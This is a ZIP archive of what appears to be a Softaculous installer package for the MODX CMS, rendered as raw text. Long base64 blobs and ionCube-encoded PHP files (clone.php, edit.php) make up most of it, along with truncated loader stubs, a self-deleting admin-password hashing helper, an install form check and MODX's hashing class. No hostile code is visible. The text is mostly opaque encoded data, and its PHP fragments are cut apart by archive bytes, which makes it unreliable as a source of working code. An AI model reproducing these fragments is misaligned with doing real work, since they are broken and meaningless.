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PKre[ !!php56/clone.phpnu[1&&$__id[1]==':'){$__id=str_replace('\\','/',substr($__id,2));$__here=str_replace('\\','/',substr($__here,2));}$__rd=str_repeat('/..',substr_count($__id,'/')).$__here.'/';$__i=strlen($__rd);while($__i--){if($__rd[$__i]=='/'){$__lp=substr($__rd,0,$__i).$__ln;if(file_exists($__oid.$__lp)){$__ln=$__lp;break;}}}if(function_exists('dl')){@dl($__ln);}}else{die('The file '.__FILE__." is corrupted.\n");}if(function_exists('_il_exec')){return _il_exec();}echo("Site error: the ".(php_sapi_name()=='cli'?'ionCube':'ionCube')." PHP Loader needs to be installed. This is a widely used PHP extension for running ionCube protected PHP code, website security and malware blocking.\n\nPlease visit ".(php_sapi_name()=='cli'?'get-loader.ioncube.com':'get-loader.ioncube.com')." for install assistance.\n\n");exit(199); ?> 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[Mupdate_pass.phpnu[ * @license http://www.opensource.org/licenses/mit-license.html MIT License * @copyright 2012 The Authors */ @unlink('update_pass.php'); if(!defined('PASSWORD_BCRYPT')){ define('PASSWORD_BCRYPT', 1); } if(!defined('PASSWORD_DEFAULT')){ define('PASSWORD_DEFAULT', PASSWORD_BCRYPT); } if(!defined('PASSWORD_BCRYPT_DEFAULT_COST')){ define('PASSWORD_BCRYPT_DEFAULT_COST', 10); } $resp = password_hash('[[admin_pass]]', PASSWORD_DEFAULT); $resp1 = str_replace("\$", "\\\$", $resp); echo ''.$resp1.''; ?>PKre[g install.jsnu[////////////////////////////////////////////////////////////// // install.js // Checks the installation form of the software being // installed by SOFTACULOUS // NOTE: 1) Only formcheck() function will be called. // 2) A software Vendor can use the same name for every // field to be checked as in install.xml . It can be // called using $('fieldname').value or any property // 3) Must Return true or false // ---------------------------------------------------------- // Please Read the Terms of use at http://www.softaculous.com // ---------------------------------------------------------- // (c)Softaculous Inc. ////////////////////////////////////////////////////////////// function formcheck(){ //Check the Admin Email if(window.check_punycode){ if(!check_punycode($('admin_email').value)){ alert('{{err_ademail}}'); return false; } return true; } return true; };PKre[2modhashing.class.phpnu[modx= & $modx; if (is_array($options)) { $this->options = $options; } } /** * Get an option for the MODX hashing service. * * Searches for local options and then prefixes keys with encrypt_ to look for * MODX System Settings. * * @param string $key The option key to get a value for. * @param array|null $options An optional array of options to look in first. * @param mixed $default An optional default value to return if no value is set. * @return mixed The option value or the specified default if not found. */ public function getOption($key, $options = null, $default = null) { if (is_array($options) && array_key_exists($key, $options)) { $option = $options[$key]; } elseif (array_key_exists($key, $this->options)) { $option = $this->options[$key]; } else { $option = $this->modx->getOption('hashing_' . $key, $this->options, $default); } return $option; } /** * Get a hash implementation instance. * * The implementation is made available as a member variable of the modHashing service. * * @param string $key A key string identifying the instance; must be a valid PHP variable name. * @param string $class A valid fully-qualified modHash derivative class name * @param array|null $options An optional array of hash options. * @return modHash|null A reference to a modHash instance or null if could not be instantiated. */ public function getHash($key, $class, $options = array()) { $className = $this->modx->loadClass($class, '', false, true); if ($className) { if (empty($key)) $key = strtolower(str_replace('mod', '', $className)); if (!array_key_exists($key, $this->_hashes)) { $hash = new $className($this, $options); if ($hash instanceof $className) { $this->_hashes[$key] = $hash; $this->$key =& $this->_hashes[$key]; } } if (array_key_exists($key, $this->_hashes)) { return $this->_hashes[$key]; } } return null; } } /** * Defines the interface for a modHash implementation. * * @abstract Implement a derivative of this class to define an actual hash algorithm implementation. * @package modx * @subpackage hashing */ abstract class modHash { /** * A reference to the modHashing service hosting this modHash instance. * @var modHashing */ public $host= null; /** * An array of options for the modHash implementation. * @var array */ public $options= array(); /** * Constructs a new instance of the modHash class. * * @param modHashing $host A reference to the modHashing instance * @param array|null $options An optional array of configuration options * @return modHash A new derivative instance of the modHash class */ function __construct(modHashing &$host, $options= array()) { $this->host =& $host; if (is_array($options)) { $this->options = $options; } } /** * Get an option for this modHash implementation * * Searches for local options and then prefixes keys with hashing_ to look for * MODX System Settings. * * @param string $key The option key to get a value for. * @param array|null $options An optional array of options to look in first. * @param mixed $default An optional default value to return if no value is set. * @return mixed The option value or the specified default if not found. */ public function getOption($key, $options = null, $default = null) { if (is_array($options) && array_key_exists($key, $options)) { $option = $options[$key]; } else { $option = $this->host->getOption($key, $this->options, $default); } return $option; } /** * Generate a hash of the given string using the provided options. * * @abstract * @param string $string A string to generate a secure hash from. * @param array $options An array of options to be passed to the hash implementation. * @return mixed The hash result or false on failure. */ public abstract function hash($string, array $options = array()); } PKre[Sj`BBphp82/edit.phpnu[ionCube')." Loader for PHP needs to be installed.\n\nThe ionCube Loader is the industry standard PHP extension for running protected PHP code,\nand can usually be added easily to a PHP installation.\n\nFor Loaders please visit".($cli?":\n\nhttps://get-loader.ioncube.com\n\nFor":' get-loader.ioncube.com and for')." an instructional video please see".($cli?":\n\nhttp://ioncu.be/LV\n\n":' http://ioncu.be/LV ')."\n\n");exit(199); ?> HR+cP/RA4tsacEXoiGQ6NYZsLb7SvJQKG2jzx92uMkcCmCk51zSk2EEQDwch8Pi3J0GSSht46Vr6 VGrAt92yqSg67HFOeSsUmne/xpOckIZ7hpO4Wh4ei6Wd08s5hdL4ZiWfG9EbgHpTTwkMtBfkQgD1 DvHeSTFxzQzp3/eBjWztkMiYWOj56V8jJCyq3EX2+0OSBnvEm4EVgucUUP/MS5TVSP8iTbyQVl/c NmxvKaJy+fs5IxEFcbGFYRW4aRbvFZs2Y506sqW6x3ULSneWo22h+cZVSf9bxf3QXb5H9EIzCzfX JgnPa8m1m10G/JWkXYsTXNiUfWLkUBbwapWwrcKuS6lqcNdFsyWwM93ULM9hspITGkltYt1tdneO ddCxeGeTbkQrdYUbWwDj8EguD7TZSJOt/SKvrEajJL9iIv1BSM5RLmmW9lY9yG5Z3G32virYknia GznLDdbUbz+92xkJJo+QIqzLNKekHo9wiKb0W+yOiKg3bfbXOqAYmFFiwNy2Mre3uuXiE9SeHvMP rUy14Ov4YzUZyK/P7PpX98Xmr+Us0JN8DFBCMY9UxQGJG/acgOcJtqswwQXuyOo3vbWhxvB96gZs JgzR+E3YdgocxRh96+zbC1UBpy1fmdsNRLhNeXbRwfEHioE4hZz78iNZa8jAgUZ2sC/LSGY4zY+0 Nt2R2LlH8kvMUinX7mGt2274fwHU+hSft9OuXEBEMlZTb4otRzWQ3jkfRtXyGkH72XfSmCEVmquV o4HaE3rdOZDO0K2IswUVcFc9Um9SFl3pSKPfy2s0nuutSsZaYVVs3nSw1DkHTOYcrHpdwBgArSKl IZC+DnGjAxbB775d+1zXeWgBZnO41ZPXP+mZHldOnUoVMDgJxqeAKA6N1kv+N6ZlsIUMlwdojBfD Et5NZIWp4Djj/SU3MV9kSCsXrCypWQ/FkPEy3IvckuZDceZFSh+oJ0yPIcn7uA3kyJz9KeVcLnhY 27JEIUK7IglznKGbQvEVAJRpS/+3AJDDZsW4klVR46L4sg3Nx2ivEI165CY4pVEuaMmIK+A17dD7 /2ipV06h3aTc+A3yomFR83wtJ/0TCeIARoPUttFpYY+weqlxT6bMSrz4X/YN40uUOOOGVhQOjTjr RuqqamrCPIJvxCEB37fIHlx9pvXKINXlXrSCEoBnGS0pq8o9Rk/nzg0xlQNy35VnS7pigWxmVn9p uat9jDkMOw+B3UeDjiTOG+OxH3/qUioua4Drn5Ye4xFEEC/bQ7RkFRuQA5HfsVyZQ1bm768Cpu// 2N29zz0xXZPUDHpPXWHBgNUloV35/OsZ6SH1KqcYNJhdkIpufPhoOv/Aw3KfbBblGDORUdR8Uc8Q oT0iGVXUJJaHKKw2y/QT0knL5JFVatdk9IB4PsIDqwZU1Z2CCElYXHb9T58DCdhl0Q43g8aCcV+F GaK5olS+kFk5BswuG1HD6vAriR3YojfR4zloGjUkRVDeZy8iGXgHVf5WV1Exc9aGbxMTmrIxzDUL 